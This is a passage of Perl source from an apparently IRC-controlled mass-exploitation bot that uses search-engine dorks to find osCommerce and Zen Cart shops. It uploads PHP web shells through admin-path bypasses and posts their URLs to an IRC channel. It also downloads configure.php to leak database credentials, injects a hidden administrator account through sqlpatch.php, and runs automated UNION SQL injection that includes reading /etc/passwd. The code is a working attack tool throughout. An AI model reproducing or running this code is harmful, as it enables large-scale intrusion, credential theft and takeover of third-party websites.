  1583. my $test = "http://".$site.$bug;
  1584. my $test1 = "http://".$site."admin/file_manager.php/login.php";
  1585. my $test2 = "http://".$site."admin/banner_manager.php/login.php";
  1586. my $html = &get_content($test);
  1587. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1588. if ($html =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/ ) {
  1589. #&msg("$chan","$oscologo(4@3$engine15)15(4@9System15)7 ".$test);
  1590. &osco_xpl($test,$chan,$site,$engine);
  1591. &osco2($test1,$chan,$bug,$dork,$engine);
  1592. &osco_xpl3($test2,$chan,$site,$engine);
  1593. &osql($chan,$site,$engine);
  1594. } else { }
  1595. } exit; sleep(2); }
  1596. }
  1597. }
  1598. }
  1599.  
  1600. sub osco_xpl() {
  1601. my $browser = LWP::UserAgent->new;
  1602. my $url = $_[0]."?cPath=&action=new_product_preview";
  1603. my $chan = $_[1];
  1604. my $site = $_[2];
  1605. my $engine = $_[3];
  1606. my $res = $browser->post( $url,['products_image' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1607. my $resa = $browser->post( $url,['products_image' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1608. my $hasil = $res->as_string;
  1609. my $hasil1 = $resa->as_string;
  1610.  
  1611. my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");&get_content("http://".$site."images/closed.php");sleep(3);
  1612. if ($check =~ /ipays - exploit/) {
  1613. my $safe ="";
  1614. my $os ="";
  1615. my $free ="";
  1616. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1617. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1618. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1619. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1620. &msg("$chan","$oscologo(4@3$engine15)15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1621. &msg("$admin","$oscologo(4@3$engine15)15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1622. }
  1623. }
  1624.  
  1625. sub osco2() {
  1626. my $chan = $_[0];
  1627. my $bug = $_[1];
  1628. my $dork = $_[2];
  1629. my $engine = $_[3];
  1630. my $count = 0;
  1631. my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1632. my $num = scalar(@list);
  1633. if ($num > 0) {
  1634. foreach my $site (@list) {
  1635. $count++;
  1636. if ($count == $num-1) { &msg("$chan","$oscologo [$engine] Scan finish"); }
  1637. my $test = "http://".$site.$bug;
  1638. my $test1 = "http://".$site."admin/banner_manager.php/login.php";
  1639. my $test2 = "http://".$site."admin/categories.php/login.php";
  1640. my $html = &get_content($test);
  1641. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1642. if ($html =~ /TABLE_HEADING_FILENAME/) {
  1643. #&msg("$chan","$oscologo(4@3$engine15)15(4@9System15)7 ".$test);
  1644. &osco_xpl2($test,$chan,$site,$engine);
  1645. &osco_xpl3($test1,$chan,$site,$engine);
  1646. &osco_xpl($test2,$chan,$site,$engine);
  1647. &osql($chan,$site,$engine);
  1648. } else { }
  1649. } exit; sleep(2); }
  1650. }
  1651. }
  1652. }
  1653.  
  1654. sub osco_xpl2() {
  1655. my $browser = LWP::UserAgent->new;
  1656. my $url = $_[0]."?action=processuploads";
  1657. my $chan = $_[1];
  1658. my $site = $_[2];
  1659. my $engine = $_[3];
  1660. my $res = $browser->post( $url,['file_1' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1661. my $resa = $browser->post( $url,['file_1' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1662. my $hasil = $res->as_string;
  1663. my $hasil1 = $resa->as_string;
  1664. my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");sleep(3);
  1665. if ($check =~ /ipays - exploit/) {
  1666. my $safe ="";
  1667. my $os ="";
  1668. my $free ="";
  1669. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1670. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1671. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1672. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1673. &msg("$chan","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1674. &msg("$admin","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1675. }
  1676. }
  1677.  
  1678. sub osco3() {
  1679. my $chan = $_[0];
  1680. my $bug = $_[1];
  1681. my $dork = $_[2];
  1682. my $engine = $_[3];
  1683. my $count = 0;
  1684. my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1685. my $num = scalar(@list);
  1686. if ($num > 0) {
  1687. foreach my $site (@list) {
  1688. $count++;
  1689. # if ($count == $num-1) { &msg("$chan","$oscologo(4@3$engine15)10 Scan finish"); }
  1690. my $test = "http://".$site.$bug;
  1691. my $test1 = "http://".$site."admin/file_manager.php/login.php";
  1692. my $test2 = "http://".$site."admin/categories.php/login.php";
  1693. my $html = &get_content($test);
  1694. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1695. if ($html =~ /TABLE_HEADING_BANNERS/) {
  1696. &msg("$chan","$oscologo [$engine] [System]14 ".$test);
  1697. &osco_xpl3($test,$chan,$site,$engine);
  1698. &osco_xpl2($test1,$chan,$site,$engine);
  1699. &osco_xpl($test2,$chan,$site,$engine);
  1700. &osql($chan,$site,$engine);
  1701. } else { }
  1702. } exit; sleep(2); }
  1703. }
  1704. }
  1705. }
  1706. sub osco_xpl3() {
  1707. my $browser = LWP::UserAgent->new;
  1708. my $url = $_[0]."?action=insert";
  1709. my $chan = $_[1];
  1710. my $site = $_[2];
  1711. my $engine = $_[3];
  1712. my $res = $browser->post( $url,['banners_image' => ['./index_ip.jpg' => 'xcrew.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1713. my $resa = $browser->post( $url,['banners_image' => ['./05.jpg' => 'products.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1714. my $hasil = $res->as_string;
  1715. my $hasil1 = $resa->as_string;
  1716. my $check = &get_content("http://".$site."images/xcrew.php");&get_content("http://".$site."images/products.php");&get_content("http://".$site."images/closed.php");sleep(3);
  1717. if ($check =~ /ipays - exploit/) {
  1718. my $safe ="";
  1719. my $os ="";
  1720. my $free ="";
  1721. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1722. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1723. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1724. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1725. &msg("$chanx","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1726. &msg("$admin","$oscologo [$engine] 15(4@9SHeLL15)13 http://".$site."images/4xcrew.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1727. }
  1728. }
  1729.  
  1730. sub osql() {
  1731. my $chan = $_[0];
  1732. my $site = $_[1];
  1733. my $engine = $_[2];
  1734. my $test = "http://".$site."admin/file_manager.php/login.php?action=download&filename=/includes/configure.php";
  1735. my $re = &get_content($test);
  1736. if ($re =~ /http:\/\//){
  1737. if ($re =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
  1738. &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DIR path: 4 $1");
  1739. }
  1740. if ($re =~ m/'DB_SERVER', '(.*)'/g) {
  1741. &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB Server: 4 $1");
  1742. }
  1743. if ($re =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
  1744. &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB username: 4 $1");
  1745. }
  1746. if ($re =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
  1747. &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB password: 4 $1");
  1748. }
  1749. if ($re =~ m/'DB_DATABASE', '(.*)'/g) {
  1750. &msg("$chan","$ossqllogo(4@3VULN)15 http://".$site." 14[+]DB database: 4 $1");}
  1751. }
  1752. }
  1753.  
  1754.  
  1755. #########################################
  1756.  
  1757. sub zen_V() {
  1758. my $chan = $_[0];
  1759. my $bug = $_[1];
  1760. my $dork = $_[2];
  1761. my $engine = $_[3];
  1762. my $count = 0;
  1763. my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  1764. my $num = scalar(@list);
  1765. if ($num > 0) {
  1766. foreach my $site (@list) {
  1767. $count++;
  1768. if ($count == $num-1) { &msgx("$chan","$zenlogo [$engine] Done ..."); }
  1769. my $test = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
  1770. my $code = "INSERT%20INTO%20`admin`%20(%20`admin_id`,%20`admin_name`,%20`admin_email`,%20`admin_pass`,%20`admin_level`%20)%20VALUES%20(%20'212',%20'shop',%20'findrea@ymail.com',%20'27c0aaa7b27eb487c4887a2bd3a10391:35',%20'66'%20);";
  1771. my $html = get_content($test);
  1772. if ($html =~ /Be sure to/ && $html=~ /end with/) {
  1773. zen_query($test,$code,$chan,$site,$engine);
  1774. }
  1775. }
  1776. }
  1777. }
  1778. sub zen_query() {
  1779. my $url = $_[0];
  1780. my $code = $_[1];
  1781. my $chan = $_[2];
  1782. my $site = $_[3];
  1783. my $engine = $_[4];
  1784. my $req = HTTP::Request->new(POST => $url);
  1785. $req->content_type("application/x-www-form-urlencoded");
  1786. $req->content("query_string=".$code);
  1787. my $ua = LWP::UserAgent->new(agent => $uagent);
  1788. $ua->timeout(3);
  1789. my $res = $ua->request($req);
  1790. my $data = $res->as_string;
  1791. if ( $data =~ /1 statements processed/i ) {
  1792. &msg("$chanx","$zenlogo (3$engine15) (3OK15)14 http://".$site."4admin/login.php 15(4USER15) shop 15(4PASS15) jancok");
  1793. &msg("$admin","$zenlogo (3$engine15) (3OK15)14 http://".$site."4admin/login.php 15(4USER15) shop 15(4PASS15) jancok");
  1794. }
  1795. elsif ( $data =~ /Duplicate entry/ ) {
  1796. &msg("$chanx","$zenlogo (3$engine15) (4015)14 http://".$site."4admin/login.php 15(12USER15) shop 15(12PASS15) jancok");
  1797. &msg("$admin","$zenlogo (3$engine15) (4015)14 http://".$site."4admin/login.php 15(12USER15) shop 15(12PASS15) jancok");
  1798. }
  1799. else {
  1800. &msg("$chan","$zenlogo (4@12$engine15) (4LAWAS15)8 http://".$site."4admin/login.php"); }
  1801. sleep(2);
  1802. }
  1803.  
  1804. ########## [SQL]
  1805.  
  1806. sub sql() {
  1807. my $chan = $_[0];
  1808. my $bug = $_[1];
  1809. my $dork = $_[2];
  1810. my $engine = $_[3];
  1811. my $count = 0;
  1812. my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  1813. my $num = scalar(@list);
  1814. if ($num > 0) {
  1815. foreach my $site (@list) {
  1816. $count++;
  1817. if ($count == $num-1) { &msg("$chan","$sqllogo (@12$engine15)15 Sampun Mantun"); }
  1818. my $test = "http://".$site.$bug."'";
  1819. my $vuln = "http://".$site."12".$bug;
  1820. my $sqlsite = "http://".$site.$bug;
  1821. my $html = &get_content($test);
  1822. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1823. if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  1824. &sqlbrute($sqlsite,$chan,$engine);}
  1825. elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  1826. &msg("$chan","$sqllogo (@12$engine15)15(13@12MsSQL15)4 ".$vuln);&sqlbrute($sqlsite,$chan,$engine);}
  1827. elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  1828. &msg("$chan","$sqllogo (@12$engine15)15(13@12MsAccess15)4 ".$vuln);&sqlbrute($sqlsite,$chan,$engine);}
  1829. elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  1830. &sqlbrute($sqlsite,$chan,$engine);}
  1831. } exit; sleep(2); }
  1832. }
  1833. }
  1834. }
  1835. sub sqlbrute() {
  1836. my $situs=$_[0];
  1837. my $chan =$_[1];
  1838. my $engine=$_[2];
  1839. my $columns=20;
  1840. my $cfin.="--";
  1841. my $cmn.= "+";
  1842. for ($column = 0 ; $column < $columns ; $column ++)
  1843. {
  1844. $union.=','.$column;
  1845. $inyection.=','."0x6c6f67696e70776e7a";
  1846. if ($column == 0)
  1847. {
  1848. $inyection = '';
  1849. $union = '';
  1850. }
  1851. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  1852. $response=get($sql);
  1853. if($response =~ /loginpwnz/)
  1854. {
  1855. $column ++;
  1856. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  1857. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)12 $sql ");
  1858. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  1859. $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  1860. if($response =~ /loginpwnz/)
  1861. {
  1862. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  1863. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14INFO_SCHEMA14)12 $sql ");
  1864. }
  1865. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  1866. $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  1867. if($response =~ /loginpwnz/)
  1868. {
  1869. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  1870. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14USER14)12 $sql ");
  1871. }
  1872. else
  1873. {
  1874. }
  1875. while ($loadcont < $column-1)
  1876. {
  1877. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1878. $loadcont++;
  1879. }
  1880. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1881. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1882. if($response =~ /root:x:/)
  1883. {
  1884. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14Load File14)12 $sql ");
  1885. }
  1886. else
  1887. {
  1888. }
  1889. foreach $tabla(@tabele)
  1890. {
  1891. chomp($tabla);
  1892. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1893. $response=get($sql)or die("[-] Impossible to get tables\n");
  1894. if($response =~ /loginpwnz/)
  1895. {
  1896. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1897. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(4@14Tabel14)12 $sql ");
  1898. &tabelka($situs,$tabla,$chan,$engine);
  1899. }
  1900. }
  1901. }
  1902. }
  1903. }
  1904.  
  1905. sub tabelka() {
  1906. my $situs =$_[0];
  1907. my $tabla =$_[1];
  1908. my $chan =$_[2];
  1909. my $engine=$_[3];
  1910. my $cfin.="--";
  1911. my $cmn.= "+";
  1912. chomp($tabla);
  1913. foreach $columna(@kolumny)
  1914. {
  1915. chomp($columna);
  1916. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1917. $response=get($sql)or die("[-] Impossible to get columns\n");
  1918. if ($response =~ /loginpwnz/)
  1919. {
  1920. &msg("$chan","$sqllogo (@12$engine15)15(13@12SQL15)(7@14SQLi Vuln14)12 $situs 14(4@14Kolom14)12 $columna 14(4@14Tabel14)12 $tabla ");
  1921. }
  1922. }
  1923.  
  1924. }
  1925.  
  1926. #########################################
  1927.  
  1928. sub search_engine() {
  1929. my (@total,@clean);
  1930. my $chan = $_[0];
  1931. my $bug = $_[1];
  1932. my $dork = $_[2];
  1933. my $engine = $_[3];
  1934. my $logo = $_[4];
  1935. if ($engine eq "google") { my @google = &google($dork); push(@total,@google); }
  1936. if ($engine eq "GoogleGR") { my @ggr = &ggr($dork); push(@total,@ggr); }
  1937. if ($engine eq "GooglePL") { my @gpl = &gpl($dork); push(@total,@gpl); }
  1938. if ($engine eq "GoogleJP") { my @gjp = &gjp($dork); push(@total,@gjp); }
  1939. if ($engine eq "GoogleDK") { my @gdk = &gdk($dork); push(@total,@gdk); }
  1940. if ($engine eq "GoogleNO") { my @gno = &gno($dork); push(@total,@gno); }
  1941. if ($engine eq "GoogleFI") { my @gfi = &gfi($dork); push(@total,@gfi); }
  1942. if ($engine eq "GoogleIT") { my @git = &git($dork); push(@total,@git); }
  1943. if ($engine eq "GoogleCA") { my @gca = &gca($dork); push(@total,@gca); }
  1944. if ($engine eq "GoogleDE") { my @gde = &gde($dork); push(@total,@gde); }
  1945. if ($engine eq "GoogleES") { my @ges = &ges($dork); push(@total,@ges); }
  1946. if ($engine eq "GoogleHK") { my @ghk = &ghk($dork); push(@total,@ghk); }
  1947. if ($engine eq "GoogleAU") { my @gau = &gau($dork); push(@total,@gau); }
  1948. if ($engine eq "GoogleRO") { my @gro = &gro($dork); push(@total,@gro); }
  1949. if ($engine eq "GoogleRU") { my @gru = &gru($dork); push(@total,@gru); }
  1950. if ($engine eq "GoogleSI") { my @gsi = &gsi($dork); push(@total,@gsi); }
  1951. if ($engine eq "GooglePT") { my @gpt = &gpt($dork); push(@total,@gpt); }
  1952. if ($engine eq "GoogleMS") { my @gms = &gms($dork); push(@total,@gms); }
  1953. if ($engine eq "GooGLeAF") { my @ggf = &ggf($dork); push(@total,@ggf); }
  1954. if ($engine eq "rediff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  1955. if ($engine eq "bing") { my @bing = &bing($dork); push(@total,@bing); }
  1956. if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  1957. if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  1958. if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  1959. if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  1960. if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  1961. if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  1962. if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  1963. if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  1964. if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  1965. if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  1966. if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  1967. if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  1968. if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  1969. if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  1970. if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  1971. if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  1972. if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  1973. if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  1974. if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  1975. if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  1976. if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  1977. if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  1978. if ($engine eq "altavista") { my @altavista = &altavista($dork); push(@total,@altavista); }
  1979. if ($engine eq "yahoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1980. if ($engine eq "YahOoCA") { my @yahooCA = &yahooCA($dork); push(@total,@yahooCA); }
  1981. if ($engine eq "YahOoUK") { my @yahooUK = &yahooUK($dork); push(@total,@yahooUK); }
  1982. if ($engine eq "YahOoDE") { my @yahooDE = &yahooDE($dork); push(@total,@yahooDE); }
  1983. if ($engine eq "YahOoFR") { my @yahooFR = &yahooFR($dork); push(@total,@yahooFR); }
  1984. if ($engine eq "YahOoES") { my @yahooES = &yahooES($dork); push(@total,@yahooES); }
  1985. if ($engine eq "YahOoIT") { my @yahooIT = &yahooIT($dork); push(@total,@yahooIT); }
  1986. if ($engine eq "YahOoID") { my @yahooID = &yahooID($dork); push(@total,@yahooID); }
  1987. if ($engine eq "YahOoIN") { my @yahooIN = &yahooIN($dork); push(@total,@yahooIN); }
  1988. if ($engine eq "YahOoAU") { my @yahooAU = &yahooAU($dork); push(@total,@yahooAU); }
  1989. if ($engine eq "YahOoMX") { my @yahooMX = &yahooMX($dork); push(@total,@yahooMX); }
  1990. if ($engine eq "YahOoTW") { my @yahooTW = &yahooTW($dork); push(@total,@yahooTW); }
  1991. if ($engine eq "YahOoBR") { my @yahooBR = &yahooBR($dork); push(@total,@yahooBR); }
  1992. if ($engine eq "YahOoAR") { my @yahooAR = &yahooAR($dork); push(@total,@yahooAR); }
  1993. if ($engine eq "YahOoNL") { my @yahooNL = &yahooNL($dork); push(@total,@yahooNL); }
  1994. if ($engine eq "YahOoDK") { my @yahooDK = &yahooDK($dork); push(@total,@yahooDK); }
  1995. if ($engine eq "YahOoPH") { my @yahooPH = &yahooPH($dork); push(@total,@yahooPH); }
  1996. if ($engine eq "YahOoCL") { my @yahooCL = &yahooCL($dork); push(@total,@yahooCL); }
  1997. if ($engine eq "YahOoRU") { my @yahooRU = &yahooRU($dork); push(@total,@yahooRU); }
  1998. if ($engine eq "YahOoCH") { my @yahooCH = &yahooCH($dork); push(@total,@yahooCH); }
  1999. if ($engine eq "YahOoCO") { my @yahooCO = &yahooCO($dork); push(@total,@yahooCO); }
  2000. if ($engine eq "YahOoFI") { my @yahooFI = &yahooFI($dork); push(@total,@yahooFI); }
  2001. if ($engine eq "YahOoRO") { my @yahooRO = &yahooRO($dork); push(@total,@yahooRO); }
  2002. if ($engine eq "YahOoVE") { my @yahooVE = &yahooVE($dork); push(@total,@yahooVE); }
  2003. if ($engine eq "YahOoAT") { my @yahooAT = &yahooAT($dork); push(@total,@yahooAT); }
  2004. if ($engine eq "YahOoPL") { my @yahooPL = &yahooPL($dork); push(@total,@yahooPL); }
  2005. if ($engine eq "YahOoKR") { my @yahooKR = &yahooKR($dork); push(@total,@yahooKR); }
  2006. if ($engine eq "YahOoNZ") { my @yahooNZ = &yahooNZ($dork); push(@total,@yahooNZ); }
  2007. if ($engine eq "YahOoGR") { my @yahooGR = &yahooGR($dork); push(@total,@yahooGR); }
  2008. if ($engine eq "YahOoPE") { my @yahooPE = &yahooPE($dork); push(@total,@yahooPE); }
  2009. if ($engine eq "YahOo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
  2010. if ($engine eq "ask") { my @ask = &ask($dork); push(@total,@ask); }
  2011. if ($engine eq "AsK1") { my @ask1 = &ask($dork); push(@total,@ask1); }
  2012. if ($engine eq "AsKCA") { my @askCA = &askCA($dork); push(@total,@askCA); }
  2013. if ($engine eq "AsKDE") { my @askDE = &askDE($dork); push(@total,@askDE); }
  2014. if ($engine eq "AsKIT") { my @askIT = &askIT($dork); push(@total,@askIT); }
  2015. if ($engine eq "AsKUK") { my @askUK = &askUK($dork); push(@total,@askUK); }
  2016. if ($engine eq "AsKFR") { my @askFR = &askFR($dork); push(@total,@askFR); }
  2017. if ($engine eq "AsKES") { my @askES = &askES($dork); push(@total,@askES); }
  2018. if ($engine eq "AsKRU") { my @askRU = &askRU($dork); push(@total,@askRU); }
  2019. if ($engine eq "AsKNL") { my @askNL = &askNL($dork); push(@total,@askNL); }
  2020. if ($engine eq "AsKEU") { my @askEU = &askEU($dork); push(@total,@askEU); }
  2021. if ($engine eq "AsKPL") { my @askPL = &askPL($dork); push(@total,@askPL); }
  2022. if ($engine eq "AsKAT") { my @askAT = &askAT($dork); push(@total,@askAT); }
  2023. if ($engine eq "AsKSE") { my @askSE = &askSE($dork); push(@total,@askSE); }
  2024. if ($engine eq "AsKDK") { my @askDK = &askDK($dork); push(@total,@askDK); }
  2025. if ($engine eq "AsKNO") { my @askNO = &askNO($dork); push(@total,@askNO); }
  2026. if ($engine eq "AsKAU") { my @askAU = &askAU($dork); push(@total,@askAU); }
  2027. if ($engine eq "AsKBR") { my @askBR = &askBR($dork); push(@total,@askBR); }
  2028. if ($engine eq "AsKMX") { my @askMX = &askMX($dork); push(@total,@askMX); }
  2029. if ($engine eq "AsKJP") { my @askJP = &askJP($dork); push(@total,@askJP); }
  2030. if ($engine eq "uol") { my @uol = &uol($dork); push(@total,@uol); }
  2031. if ($engine eq "clusty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  2032. if ($engine eq "gutser") { my @gutser = &gutser($dork); push(@total,@gutser); }
  2033. if ($engine eq "tawi") { my @tawi = tawi($dork); push(@total,@tawi); }
  2034. if ($engine eq "tawia") { my @tawia = tawia($dork); push(@total,@tawia); }
  2035. if ($engine eq "tawib") { my @tawib = tawib($dork); push(@total,@tawib); }
  2036. if ($engine eq "tawic") { my @tawic = tawic($dork); push(@total,@tawic); }
  2037. if ($engine eq "tawid") { my @tawid = tawid($dork); push(@total,@tawid); }
  2038. if ($engine eq "tawie") { my @tawie = tawie($dork); push(@total,@tawie); }
  2039. if ($engine eq "tawif") { my @tawif = tawif($dork); push(@total,@tawif); }
  2040. if ($engine eq "tawig") { my @tawig = tawig($dork); push(@total,@tawig); }
  2041. if ($engine eq "tawih") { my @tawih = tawih($dork); push(@total,@tawih); }
  2042. if ($engine eq "tawii") { my @tawii = tawii($dork); push(@total,@tawii); }
  2043. if ($engine eq "tawij") { my @tawij = tawij($dork); push(@total,@tawij); }
  2044. if ($engine eq "tawik") { my @tawik = tawik($dork); push(@total,@tawik); }
  2045. if ($engine eq "google2") { my @google2 = &google2($dork); push(@total,@google2); }
  2046. if ($engine eq "exalead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  2047. if ($engine eq "lycos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  2048. if ($engine eq "virgilio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  2049. if ($engine eq "webde") { my @webde = &webde($dork); push(@total,@webde); }
  2050. if ($engine eq "hotbot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  2051. if ($engine eq "aol") { my @aol = &aol($dork); push(@total,@aol); }
  2052. if ($engine eq "sapo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  2053. if ($engine eq "duck") { my @duck = &duck($dork); push(@total,@duck); }
  2054. if ($engine eq "lygo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  2055. if ($engine eq "yause") { my @yause = &yause($dork); push(@total,@yause); }
  2056. if ($engine eq "baidu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  2057. if ($engine eq "kipot") { my @kipot = &kipot($dork); push(@total,@kipot); }
  2058. if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
  2059. if ($engine eq "black") { my @black = &black($dork); push(@total,@black); }
  2060. if ($engine eq "onet") { my @onet = &onet($dork); push(@total,@onet); }
  2061. if ($engine eq "sizuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  2062. if ($engine eq "walla") { my @walla = &walla($dork); push(@total,@walla); }
  2063. if ($engine eq "demos") { my @demos = &demos($dork); push(@total,@demos); }
  2064. if ($engine eq "rose") { my @rose = &rose($dork); push(@total,@rose); }
  2065. if ($engine eq "seznam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  2066. if ($engine eq "tiscali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  2067. if ($engine eq "naver") { my @naver = &naver($dork); push(@total,@naver); }
  2068. if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
  2069. if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
  2070. if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
